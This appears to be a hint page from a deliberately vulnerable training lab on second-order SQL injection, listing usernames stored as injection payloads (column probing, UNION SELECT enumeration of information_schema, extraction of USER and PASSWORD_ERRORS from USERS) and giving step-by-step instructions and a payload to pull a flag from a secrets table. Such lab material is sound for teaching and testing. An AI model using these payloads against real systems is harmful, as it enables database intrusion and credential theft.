/second-order · sink: stored input -> later string-concatenated SELECT
Registration is parameterized; profile view re-uses stored input unsafely.
| id | username |
|---|---|
| 82 | ali' union select PASSWORD_ERRORS from USERS# |
| 81 | ali' union select USER from USERS# |
| 80 | abdo' union select column_name from information_schema.columns where table_name='USERS'# |
| 79 | ahmed' union select table_name from information_schema.tables# |
| 78 | ahmed' union select 1# |
| 77 | ahmed' order by 1# |
| 76 | ahmed' order by 2# |
| 75 | ahmed' order by 3# |
| 74 | ahmed' order by 5# |
| 73 | ahmed' order by 10# |
| 72 | ahmed')# |
| 71 | ahmed')-- |
| 69 | 'abdo |
| 68 | abdo' |
| 67 | شلايخ |
| 66 | test' order by 10# |
| 65 | test' order by 30# |
| 64 | admin' or '1'='1 |
| 62 | abdo ' union select * from body -- |
| 61 | abdo' AND SELECT * FROM body -- |
Register a user whose username is itself a SQL payload, e.g. ' UNION SELECT value FROM secrets WHERE name='sqli-second-order'# (use # not `-- ` because the register handler strips trailing whitespace). Then visit /second-order/profile?id=<your new id> — the profile page joins notes by username via string concatenation, and your stored payload finally fires.